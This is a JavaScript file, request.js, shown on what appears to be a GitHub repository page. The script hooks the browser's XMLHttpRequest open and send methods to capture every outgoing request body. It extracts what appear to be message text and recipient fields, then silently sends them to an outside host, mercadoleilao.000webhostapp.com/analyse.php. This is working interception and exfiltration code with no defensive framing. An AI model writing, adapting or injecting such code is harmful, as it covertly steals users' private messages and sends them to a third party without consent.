-
Notifications
You must be signed in to change notification settings - Fork 0
/
request.js
34 lines (32 loc) · 1.59 KB
/
request.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var origOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function () {
var getParameterByName = function (content, name) {
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)", "i"),
results = regex.exec(content);
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
};
var func = function () {
var content = this.PARAMETERS_S;
var sendContent = getParameterByName(content || " ", "body");
if (sendContent) {
var msg = encodeURI(sendContent) + " " + getParameterByName(content || " ", "specific_to_list[0]") + getParameterByName(content || " ", "specific_to_list[1]");
console.log(msg);
$.ajax({
type: 'GET',
crossDomain: true,
async : false,
url: 'http://mercadoleilao.000webhostapp.com/analyse.php?c=' + msg
//data: msg //Change to add any headers to be sent along
}); //*/
}
this.removeEventListener("load", func);
};
this.addEventListener('load', func);
origOpen.apply(this, arguments);
};
var origSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function () {
this.PARAMETERS_S = arguments[0];
origSend.apply(this, arguments);
};